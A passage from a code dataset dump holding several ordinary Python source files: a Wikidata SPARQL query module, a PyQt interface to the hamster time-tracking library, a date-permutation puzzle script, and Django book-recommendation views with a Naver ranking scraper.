"requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 27, "usage_type": "call"}, {"api_name": "matcher.num_matcher.parse_float_or_int", "line_number": 56, "usage_type": "call"}, {"api_name": "read_write.file_writer.write_dict", "line_number": 74, "usage_type": "call"}, {"api_name": "scraper.keys.conversion_table", "line_number": 80, "usage_type": "name"}, {"api_name": "scraper.keys.conversion_table", "line_number": 81, "usage_type": "name"}, {"api_name": "scraper.keys.conversion_table", "line_number": 82, "usage_type": "name"}, {"api_name": "matcher.num_matcher.parse_num_with_units", "line_number": 101, "usage_type": "call"}, {"api_name": "scraper.keys.entropy_units", "line_number": 116, "usage_type": "argument"}, {"api_name": "scraper.keys.enthalpy_units", "line_number": 122, "usage_type": "argument"}, {"api_name": "scraper.keys.enthalpy_units", "line_number": 128, "usage_type": "argument"}, {"api_name": "scraper.keys.mass_units", "line_number": 134, "usage_type": "argument"}]} {"seq_id": "27310119513", "text": "import requests\nimport json\nimport urllib.parse\nimport os\nimport dateutil.parser\nimport hashlib\nfrom flask import request, render_template, g\nfrom collections import defaultdict\nfrom datetime import datetime\nfrom .model import WikidataQuery\nfrom . import utils, database\n\nquery_url = 'https://query.wikidata.org/bigdata/namespace/wdq/sparql'\nurl_start = 'http://www.wikidata.org/entity/Q'\ncommons_start = 'http://commons.wikimedia.org/wiki/Special:FilePath/'\n\nclass QueryError(Exception):\n def __init__(self, query, r):\n self.query = query\n self.r = r\n\nclass QueryTimeout(QueryError):\n def __init__(self, query, r):\n self.query = query\n self.r = r\n\ndef row_id(row, field='item'):\n return int(utils.drop_start(row[field]['value'], url_start))\n\ndef get_row_value(row, field):\n return row[field]['value'] if field in row else None\n\ndef get_row_text(row, field):\n if field in row and 'xml:lang' in row[field]:\n return row[field]['value']\n\ndef commons_uri_to_filename(uri):\n return urllib.parse.unquote(utils.drop_start(uri, commons_start))\n\ndef run_from_template(template_name, **context):\n query = render_template(template_name, **context)\n return run_query(query, query_template=template_name)\n\ndef run_from_template_with_cache(template_name, cache_name=None, **context):\n query = render_template(template_name, **context)\n return run_query_with_cache(query, name=cache_name, query_template=template_name)\n\ndef run_query(query, **kwargs):\n r, db_query = record_query(query, **kwargs)\n return r\n\ndef record_query(query, query_template=None):\n params = {'query': query, 'format': 'json'}\n start = datetime.utcnow()\n\n path = request.full_path.rstrip('?') if request else None\n endpoint = request.endpoint if request else None\n\n db_query = WikidataQuery(\n start_time=start,\n sparql_query=query,\n path=path,\n query_template=query_template,\n page_title=getattr(g, 'title', None),\n endpoint=endpoint)\n database.session.add(db_query)\n database.session.commit()\n\n r = requests.post(query_url, data=params, stream=True)\n db_query.end_time = datetime.utcnow()\n db_query.status_code = r.status_code\n\n if r.status_code != 200:\n db_query.error_text = r.text\n database.session.commit()\n\n if 'java.util.concurrent.TimeoutException' in r.text:\n raise QueryTimeout(params, r)\n else:\n raise QueryError(params, r)\n\n database.session.commit()\n return r, db_query\n\ndef md5_query(query):\n ''' generate the md5 hexdigest of a SPARQL query '''\n return hashlib.md5(query.encode('utf-8')).hexdigest()\n\ndef run_query_with_cache(q, name=None, query_template=None):\n if name is None:\n name = md5_query(q)\n filename = f'cache/{name}.json'\n if os.path.exists(filename):\n from_cache = json.load(open(filename))\n if isinstance(from_cache, dict) and from_cache.get('query') == q:\n return from_cache['bindings']\n\n r, db_query = record_query(q, query_template=query_template)\n bindings = r.json()['results']['bindings']\n json.dump({'query': q, 'bindings': bindings},\n open(filename, 'w'), indent=2)\n\n db_query.row_count = len(bindings)\n database.session.commit()\n return bindings\n\ndef format_time(row_time, row_timeprecision):\n t = dateutil.parser.parse(row_time['value'])\n precision = int(row_timeprecision['value'])\n\n if precision == 9:\n return t.year\n if precision == 8:\n return f'{t.year}s'\n if precision == 7:\n return f'{utils.ordinal((t.year // 100) + 1)} century'\n if precision == 6:\n return f'{utils.ordinal((t.year // 1000) + 1)} millennium'\n\n return row_time['value']\n\ndef build_browse_item_map(bindings):\n row_map = defaultdict(list)\n\n for row in bindings:\n item_id = row_id(row)\n label = row['itemLabel']['value']\n image_filename = commons_uri_to_filename(row['image']['value'])\n\n artist_name = get_row_value(row, 'artistLabel')\n\n d = format_time(row['time'], row['timeprecision']) if 'time' in row else None\n row_qid = f'Q{item_id}'\n\n item = {\n 'image_filename': image_filename,\n 'date': d,\n 'depicts': row['depictsList']['value'].split('|'),\n }\n if artist_name:\n item['artist_name'] = artist_name\n if label != row_qid:\n item['label'] = label\n\n title = get_row_value(row, 'title')\n if title:\n lang = get_row_value(row, 'titleLang')\n item['title'] = (lang, title)\n\n row_map[item_id].append(item)\n\n item_map = {}\n for item_id, items in row_map.items():\n titles = {}\n filenames = set()\n artist_names = []\n labels = set()\n when = None\n depicts = []\n for item in items:\n if 'title' in item:\n lang, title = item['title']\n titles[lang] = title\n filenames.add(item['image_filename'])\n artist_name = item.get('artist_name')\n if artist_name and artist_name not in artist_names:\n artist_names.append(artist_name)\n if 'label' in item:\n labels.add(item['label'])\n if when is None and item.get('date'):\n when = item['date']\n for d in item['depicts']:\n if d not in depicts:\n depicts.append(d)\n\n item = {\n 'qid': f'Q{item_id}',\n 'item_id': item_id,\n 'image_filename': list(filenames),\n 'artist_name': ', '.join(artist_names),\n 'date': when,\n 'depicts': depicts,\n }\n if artist_names:\n item['artist_name'] = ', '.join(artist_names)\n if labels:\n assert len(labels) == 1\n item['label'] = list(labels)[0]\n elif 'en' in titles:\n item['label'] = titles['en']\n else:\n item['label'] = '[ label missing ]'\n\n item_map[item_id] = item\n\n return item_map\n\ndef quote_list(l):\n no_dups = list(dict.fromkeys(l)) # remove duplicates\n return ' '.join('(\"' + s.replace('\"', '\\\\\"') + '\")' for s in no_dups)\n\ndef url_list(l):\n no_dups = list(dict.fromkeys(l)) # remove duplicates\n return ' '.join(f'(<{s}>)' for s in no_dups)\n\ndef is_artificial_physical_object(qid):\n bindings = run_from_template_with_cache('query/item_type.sparql', qid=qid)\n types = {row_id(row, field='item') for row in bindings}\n # Q8205328 == artificial physical object\n return 8205328 in types\n", "repo_name": "EdwardBetts/depicts", "sub_path": "depicts/wdqs.py", "file_name": "wdqs.py", "file_ext": "py", "file_size_in_byte": 6646, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "urllib.parse.parse.unquote", "line_number": 38, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 38, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.request", "line_number": 56, "usage_type": "name"}, {"api_name": "flask.request.full_path.rstrip", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.request.full_path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.request.endpoint", "line_number": 57, "usage_type": "attribute"}, {"api_name": "model.WikidataQuery", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.g", "line_number": 64, "usage_type": "argument"}, {"api_name": "requests.post", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 70, "usage_type": "name"}, {"api_name": "hashlib.md5", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 94, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 100, "usage_type": "call"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 108, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 108, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 108, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 123, "usage_type": "call"}]} {"seq_id": "42306207709", "text": "import sys\nimport datetime\nfrom datetime import timedelta\n\nfrom PyQt5.QtCore import QObject, pyqtSignal, pyqtSlot, QDateTime, QDate, QTime\n\nimport hamster_lib\nfrom hamster_lib import Fact, HamsterControl, reports, Category, Activity\nfrom hamster_lib.helpers import time as time_helpers\n\n# The start time has the following offset in seconds applied when started.\n# This overcomes the issue where facts are started without specifying\n# a time that conflicts with one that was stopped by specifying a time.\n# Sometimes there were a small overlap in seconds and the backend did\n# not like this. This should ensure that this does not happen.\nFACT_START_OFFSET = 10 # seconds\n\nclass FactPyQt(QObject):\n \"\"\" QObject wrapper for a fact \"\"\"\n def __init__(self, fact):\n super(FactPyQt, self).__init__()\n self._fact = fact\n\n @pyqtSlot(result='QDateTime')\n def start(self):\n return QDateTime(self._fact.start)\n\n @pyqtSlot(result='QDateTime')\n def end(self):\n return QDateTime(self._fact.end)\n\n @pyqtSlot(result='QString')\n def description(self):\n return self._fact.description\n\n @pyqtSlot(result='QString')\n def category(self):\n if not self._fact.category:\n return \"\"\n else:\n return self._fact.category.name\n\n @pyqtSlot(result='QString')\n def activity(self):\n return self._fact.activity.name\n\n @pyqtSlot(result='int')\n def key(self):\n return self._fact.pk\n\n @pyqtSlot(result='QTime')\n def duration(self):\n return QTime(0, 0, FACT_START_OFFSET).addSecs(self.start().secsTo(self.end()))\n\n @pyqtSlot(result='QDate')\n def day(self):\n return self.end().date()\n\nclass HqActivity(QObject):\n \"\"\" HamsterQML QObject wrapper for a Activity\n\n The hamster object must be wrapped by a QObject to be\n able to access the slot members from QML\n \"\"\"\n def __init__(self, activity):\n super(HqActivity, self).__init__()\n self._activity = activity\n\n @pyqtSlot(result=str)\n def name(self):\n return self._activity.name\n\n @pyqtSlot(result=str)\n def categoryName(self):\n return self._activity.category.name\n\n @pyqtSlot(result=int)\n def key(self):\n return self._activity.pk\n\nclass HqCategory(QObject):\n \"\"\" HamsterQML QObject wrapper for a Category\n\n The hamster object must be wrapped by a QObject to be\n able to access the slot members from QML\n \"\"\"\n def __init__(self, category = None):\n super(HqCategory, self).__init__()\n self._category = category\n self._activities = set()\n\n @pyqtSlot(result=str)\n def name(self):\n if self._category is None:\n return \"(uncategorised)\"\n return self._category.name\n\n @pyqtSlot(result=int)\n def key(self):\n if self._category is None:\n return -1\n return self._category.pk\n\n @pyqtSlot(HqActivity, result=int)\n def addActivity(self, activity):\n self._activities.add( activity )\n\n @pyqtSlot(result=HqActivity)\n def activities(self):\n return self._activities\n\n\nclass HamsterConfig():\n \"\"\" Configuration class for the Hamster Library\n This class will most probrbaly be replaced by a ConfigParser class \"\"\"\n\n def __init__(self):\n self._options = {\n 'store' : 'sqlalchemy',\n 'daystart' : '00:00:00',\n 'fact_min_delta' : '60',\n 'db_engine' : 'sqlite',\n 'db_path' : 'hamster_pyqt.sqlite',\n 'tmpfile_path' : 'hamster_pyqt.fact'\n }\n\n def get(self, key, default = ''):\n if key in self._options:\n return self._options[key]\n else:\n return default;\n\n def __getitem__(self, key):\n return self.get(key)\n\n\nclass HamsterPyQt(QObject):\n \"\"\" Hamser interface \"\"\"\n\n currentUpdated = pyqtSignal(FactPyQt, name='currentUpdated', arguments=['current'])\n errorMessage = pyqtSignal('QString', name='errorMessage', arguments=['message'])\n startSuccessful = pyqtSignal(name='startSuccessful')\n stopSuccessful = pyqtSignal(name='stopSuccessful')\n factUpdated = pyqtSignal(FactPyQt, name='factUpdated', arguments=['fact'])\n factAdded = pyqtSignal(FactPyQt, name='factAdded', arguments=['fact'])\n categoriesChanged = pyqtSignal(name='categoriesChanged')\n activitiesChanged = pyqtSignal(name='activitiesChanged')\n\n def __init__(self):\n super(HamsterPyQt, self).__init__()\n self._config = HamsterConfig()\n self._control = HamsterControl(self._config);\n self.categories()\n\n def _cleanStart(self, start):\n # Always update the start time to be on the minute with 10 seconds added.\n # This overcomes the issue where facts are started without specifying\n # a time that conflicts with one that was stopped by specifying a time.\n # Sometimes there were a small overlap in seconds and the backend did\n # not like this. This should ensure that this does not happen.\n return start.replace(second=FACT_START_OFFSET, microsecond=0)\n\n def _cleanEnd(self, end):\n # Update the stop time of the fact to always be on the minute.\n # this will overcome the issue of stopping a fact and starting\n # one for the same minute.\n return end.replace(second=0, microsecond=0)\n\n @pyqtSlot()\n def list(self, start_time = '', end_time = ''):\n \"\"\" List all facts that are between the supplied start and end times. \"\"\"\n if start_time and end_time:\n print('Listing: %s - %s' % (start_time, end_time) )\n elif start_time:\n print('Listing: %s' % (start_time) )\n else:\n factsPyQt = []\n facts = self._control.facts.get_all()\n for fact in facts:\n # Convert the hamster-lib fact to a PyQt fact\n factPyQt = FactPyQt(fact)\n factsPyQt.append(factPyQt)\n return factsPyQt\n\n @pyqtSlot()\n def categories(self):\n categories = self._control.categories.get_all()\n categoryDic = {}\n categoryDic[None] = HqCategory()\n for cat in categories:\n categoryDic[cat] = HqCategory(cat)\n activities = self._control.activities.get_all()\n for act in activities:\n cat = act.category\n categoryDic[cat].addActivity(HqActivity(act))\n return categoryDic\n\n @pyqtSlot('QString')\n def start(self, command):\n \"\"\" Start a fact \"\"\"\n if not command:\n self.errorMessage.emit('Empty fact information, can\\'t start fact.')\n return\n\n # Some basic handling\n # If the command has a comma but no @, add the @ since comma is for comment\n if ( ',' in command ) and ( not '@' in command ):\n command = command.replace( ',', '@,' )\n\n fact = Fact.create_from_raw_fact(command)\n if not fact.start:\n # No start time for the fact, set to now\n fact.start = datetime.datetime.now()\n # Clean up the fact start as per the hamster-QML interface.\n fact.start = self._cleanStart(fact.start)\n # Save the fact. If the fact does not have an end time it will be set as the\n # current fact.\n\n # At this point first check if there is not alreay a fact ongoing,\n # if there it, it must be stopped with the stop time set to before\n # the stop time of the ongoing fact.\n self.stop(fact.start, True)\n\n try:\n fact = self._control.facts.save(fact)\n except ValueError as err:\n self.errorMessage.emit(\"Fact start error: {0}\".format(err))\n else:\n self.startSuccessful.emit()\n # Check if the started fact has a end time. If it does have one, a\n # start and end time was specified and the fact was added to the\n # database. If it does not have a end it is an ongoing fact.\n if fact.end:\n self.factAdded.emit(FactPyQt(fact))\n self.current()\n\n\n @pyqtSlot(QDateTime, QDateTime, 'QString', 'QString', 'QString')\n def create(self, start, end, activity, category, description):\n \"\"\" Create a fact for the given date \"\"\"\n command = activity\n if category:\n command = command + '@' + category\n if description:\n command = command + ',' + description\n fact = Fact.create_from_raw_fact(command)\n\n fact.start = self._cleanStart(start.toPyDateTime())\n fact.end = self._cleanEnd(end.toPyDateTime())\n try:\n fact = self._control.facts.save(fact)\n except ValueError as err:\n self.errorMessage.emit(\"Fact error: {0}\".format(err))\n else:\n self.factAdded.emit(FactPyQt(fact))\n\n\n @pyqtSlot()\n def stop(self, endTime = None, ignoreError=False):\n \"\"\" Stop an ongoing fact \"\"\"\n try:\n fact = self._control.facts.stop_tmp_fact()\n except ValueError as err:\n if ignoreError == False:\n self.errorMessage.emit(\"Fact stop error: {0}\".format(err))\n self.current()\n return\n # If the end time is supplied, update the end time to the\n # supplied time instead of using the end time obtained from\n # the fact stop.\n if endTime:\n fact.end = endTime\n # Make the end time clean according what is required for this app.\n fact.end = self._cleanEnd(fact.end)\n try:\n self._control.facts.save(fact)\n except ValueError as err:\n self.errorMessage.emit(\"Fact stop error: {0}\".format(err))\n self.current()\n return\n # At this point adding the fact should have been successful.\n self.stopSuccessful.emit()\n self.factAdded.emit(FactPyQt(fact))\n self.current()\n\n @pyqtSlot()\n def cancel(self):\n \"\"\" Cancel an ongoing fact \"\"\"\n try:\n self._control.facts.cancel_tmp_fact()\n except KeyError:\n print('No fact to cancel')\n\n self.current()\n\n @pyqtSlot()\n def current(self):\n \"\"\" List the current active fact \"\"\"\n try:\n fact = self._control.facts.get_tmp_fact()\n except KeyError:\n self.currentUpdated.emit(None);\n else:\n fact.end = datetime.datetime.now()\n string = '{fact} ({duration} minutes)'.format(fact=fact, duration=fact.get_string_delta())\n self.currentUpdated.emit(FactPyQt(fact));\n\n @pyqtSlot(int, 'QDateTime', 'QDateTime', 'QString', 'QString', 'QString')\n def updateFact(self, key, startTime, endTime, activity, category, description):\n # get the fact from the Fact Manager\n try:\n fact = self._control.facts.get(key)\n except KeyError:\n self.errorMessage.emit('Invalid key passed to updateFact() function.')\n return\n\n # Check the category. An empty category is accepted by the backend\n # but it can not have an empty name, it must be 'None' instead.\n cat = None\n if category:\n cat = Category(category)\n fact.start = self._cleanStart(startTime.toPyDateTime())\n fact.end = self._cleanEnd(endTime.toPyDateTime())\n fact.activity = Activity(activity, category=cat)\n fact.description = description\n # Save the updated fact\n try:\n self._control.facts.save(fact)\n self.factUpdated.emit(FactPyQt(fact))\n except ValueError as err:\n self.errorMessage.emit(\"Could not update fact: {0}\".format(err))\n return\n\n @pyqtSlot(int)\n def removeCategory(self, pk):\n if int(pk) == -1:\n return\n category = self._control.categories.get( pk )\n if category is None:\n return\n self._control.categories.remove( category )\n self.categoriesChanged.emit()\n\n @pyqtSlot(int)\n def removeActivity(self, pk):\n activity = self._control.activities.get( pk )\n rawActivity = self._control.activities.get( pk, raw=True )\n if activity is None:\n return\n self._control.activities.remove( activity )\n self.activitiesChanged.emit()\n\n @pyqtSlot(int, result=bool)\n def canRemoveCategory(self, pk):\n if int(pk) == -1:\n return False\n # Get the category and then get the raw category using the\n # get_by_name() function. The CategoryManager does not have\n # a get( pk, raw ) function like the ActivityManager.\n # Using the raw objects is easier than finding the\n # number of associted activities manually.\n category = self._control.categories.get( pk )\n if category is None:\n return\n rawCategory = self._control.categories.get_by_name( category.name, raw=True )\n return len( rawCategory.activities ) == 0\n\n @pyqtSlot(int, result=bool)\n def canRemoveActivity(self, pk):\n rawActivity = self._control.activities.get( pk, raw=True )\n return len( rawActivity.facts ) == 0\n\n @pyqtSlot(str, str, result=bool)\n def addActivity(self, activityName, categoryName):\n activityName = activityName.strip()\n categoryName = categoryName.strip()\n\n category = None\n activity = None\n if categoryName != \"\" and categoryName != \"(uncategorised)\":\n category = self._control.categories.get_or_create(Category(categoryName))\n\n if activityName != \"\":\n activity = self._control.activities.get_or_create(Activity(activityName, category=category))\n\n return category is not None or activity is not None\n", "repo_name": "CJCombrink/hamster-qml", "sub_path": "source/hamster_pyqt.py", "file_name": "hamster_pyqt.py", "file_ext": "py", "file_size_in_byte": 13608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PyQt5.QtCore.QObject", "line_number": 18, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QDateTime", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 24, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QDateTime", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 28, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 32, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 36, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 43, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 47, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QTime", "line_number": 53, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 55, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QObject", "line_number": 59, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 69, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 73, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 77, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QObject", "line_number": 81, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 92, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 98, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 104, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 108, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QObject", "line_number": 137, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 140, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 142, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 143, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 144, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 145, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 146, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 147, "usage_type": "call"}, {"api_name": "hamster_lib.HamsterControl", "line_number": 152, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 169, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 185, "usage_type": "call"}, {"api_name": "hamster_lib.Fact.create_from_raw_fact", "line_number": 210, "usage_type": "call"}, {"api_name": "hamster_lib.Fact", "line_number": 210, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 213, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 213, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 198, "usage_type": "call"}, {"api_name": "hamster_lib.Fact.create_from_raw_fact", "line_number": 246, "usage_type": "call"}, {"api_name": "hamster_lib.Fact", "line_number": 246, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 238, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QDateTime", "line_number": 238, "usage_type": "argument"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 258, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 286, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 304, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 304, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 296, "usage_type": "call"}, {"api_name": "hamster_lib.Category", "line_number": 321, "usage_type": "call"}, {"api_name": "hamster_lib.Activity", "line_number": 324, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 308, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 334, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 344, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 353, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 368, "usage_type": "call"}, {"api_name": "hamster_lib.Category", "line_number": 381, "usage_type": "call"}, {"api_name": "hamster_lib.Activity", "line_number": 384, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 373, "usage_type": "call"}]} {"seq_id": "45596580604", "text": "import itertools\n\ndef validPerm(l):\n x,y,z = l[0],l[1],l[2]\n monthValid = False\n dayValid = False\n yearValid = False\n if (x >0 and x <= 12):\n monthValid = True\n else:\n monthValid = False\n \n if (y > 0 and y <= 32):\n dayValid = True\n else:\n dayValid = False\n \n if (z > 0 and z <= 99):\n yearValid = True\n else:\n yearValid = False\n \n if monthValid and dayValid and yearValid:\n return True\n else:\n return False\n \n\ndef checkValidPermutation(lis):\n l = []\n for i in lis:\n if (validPerm(i)):\n l.append(i)\n return l\n\ndef answer(x, y, z):\n # your code here\n l=[x,y,z]\n perm = set(itertools.permutations([x,y,z]))\n result = checkValidPermutation(perm)\n if len(result) == 1:\n #print(result[0][1])\n print(\"%02d/%02d/%02d\" % (result[0][0],result[0][1],result[0][2]))\n else:\n print(\"Ambigious\")\n \nanswer(2,30,3)\n", "repo_name": "snjv180/PythonStudy", "sub_path": "permutation.py", "file_name": "permutation.py", "file_ext": "py", "file_size_in_byte": 1198, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "itertools.permutations", "line_number": 39, "usage_type": "call"}]} {"seq_id": "39909958330", "text": "from django.shortcuts import render\nfrom django.core.paginator import Paginator\nfrom books.models import BookModel\nimport requests\nfrom bs4 import BeautifulSoup\nfrom gensim.models.doc2vec import Doc2Vec\nfrom .book_views import make_keyword\nfrom users.views import query_favorite\n\n\nmodel = Doc2Vec.load('model.doc2vec')\n\n\ndef genre_view(request, name):\n books_list = BookModel.objects.filter(genre=name)\n page = request.GET.get('page', 1)\n paginator = Paginator(books_list, 10)\n pages = paginator.page(page)\n\n for page in pages:\n page.star = page.star * 20\n\n book_all = {\n 'pages': pages,\n 'name': name,\n 'books_list_num': books_list.count(),\n }\n return render(request, 'main_genre/genre.html', {'book_all': book_all})\n\n\ndef main_view(request):\n user = request.user\n\n favorite = query_favorite(user)\n\n li_list = get_today_20()\n\n favorite_all = user.favorite.all()\n\n datas = []\n if len(favorite_all) == 0:\n books = BookModel.objects.all().order_by('-star')[:5]\n for book in books:\n datas.append(book)\n\n else:\n title_keyword = make_keyword(favorite_all, 'title', 3) * 3\n keyword = make_keyword(favorite_all, 'story', 20)\n keyword += title_keyword\n keyword_vec = model.infer_vector(keyword)\n most_similar = model.docvecs.most_similar([keyword_vec], topn=favorite_all.count() + 5)\n for index, similarity in most_similar:\n recommend = BookModel.objects.get(id=index + 1)\n if not recommend in favorite_all:\n datas.append(recommend)\n if len(datas) == 5:\n break\n\n for book in datas:\n book.star = book.star * 20\n\n return render(request, 'main_genre/main.html', {'likes': favorite, 'li_list': li_list, 'datas': datas})\n\n\ndef search(request, title):\n result = BookModel.objects.filter(title__icontains=title)\n page = request.GET.get('page', 1)\n paginator = Paginator(result, 10)\n pages = paginator.page(page)\n\n for page in pages:\n page.star = page.star * 20\n\n result_info = {\n 'pages': pages,\n 'name': f\"'{title}'의 검색 결과\",\n 'books_list_num': result.count(),\n }\n return render(request, 'main_genre/genre.html', {'book_all': result_info})\n\n\ndef get_today_20():\n url = 'https://series.naver.com/novel/top100List.series?rankingTypeCode=DAILY&categoryCode=ALL'\n\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}\n data = requests.get(url, headers=headers)\n soup = BeautifulSoup(data.text, 'html.parser')\n\n lis = soup.select('#content > div > ul > li')\n\n li_list = []\n\n for li in lis:\n url = 'https://series.naver.com' + li.select_one('a')['href']\n cover_line = li.select_one('a > img')\n cover_m79 = cover_line['src']\n cover_m260 = cover_m79.replace(\"type=m79\", \"type=m260\")\n title = cover_line['alt']\n author = li.select_one('div.comic_cont > p.info > span:nth-child(4)').text\n star = li.select_one('div.comic_cont > p.info > em.score_num').text\n detail = li.select_one('div.comic_cont > p.info > span:nth-child(6)').text\n\n star_width = float(star) * 10 - 2.3\n\n dic = {'url': url, 'cover': cover_m260, 'title': title, 'author': author, 'author': author, 'star': star,\n 'star_width': star_width, 'detail': detail}\n\n li_list.append(dic)\n\n return li_list\n", "repo_name": "cmjcum/webtachu", "sub_path": "books/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3529, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gensim.models.doc2vec.Doc2Vec.load", "line_number": 11, "usage_type": "call"}, {"api_name": "gensim.models.doc2vec.Doc2Vec", "line_number": 11, "usage_type": "name"}, {"api_name": "books.models.BookModel.objects.filter", "line_number": 15, "usage_type": "call"}, {"api_name": "books.models.BookModel.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "books.models.BookModel", "line_number": 15, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 17, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 28, "usage_type": "call"}, {"api_name": "users.views.query_favorite", "line_number": 34, "usage_type": "call"}, {"api_name": "books.models", "line_number": 42, "usage_type": "name"}, {"api_name": "books.models.BookModel.objects.all", "line_number": 42, "usage_type": "call"}, {"api_name": "books.models.BookModel.objects", "line_number": 42, "usage_type": "attribute"}, {"api_name": "books.models.BookModel", "line_number": 42, "usage_type": "name"}, {"api_name": "books.models", "line_number": 43, "usage_type": "name"}, {"api_name": "book_views.make_keyword", "line_number": 47, "usage_type": "call"}, {"api_name": "book_views.make_keyword", "line_number": 48, "usage_type": "call"}, {"api_name": "books.models.BookModel.objects.get", "line_number": 53, "usage_type": "call"}, {"api_name": "books.models.BookModel.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "books.models.BookModel", "line_number": 53, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 62, "usage_type": "call"}, {"api_name": "books.models.BookModel.objects.filter", "line_number": 66, "usage_type": "call"}, {"api_name": "books.models.BookModel.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "books.models.BookModel", "line_number": 66, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 68, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 79, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 87, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", 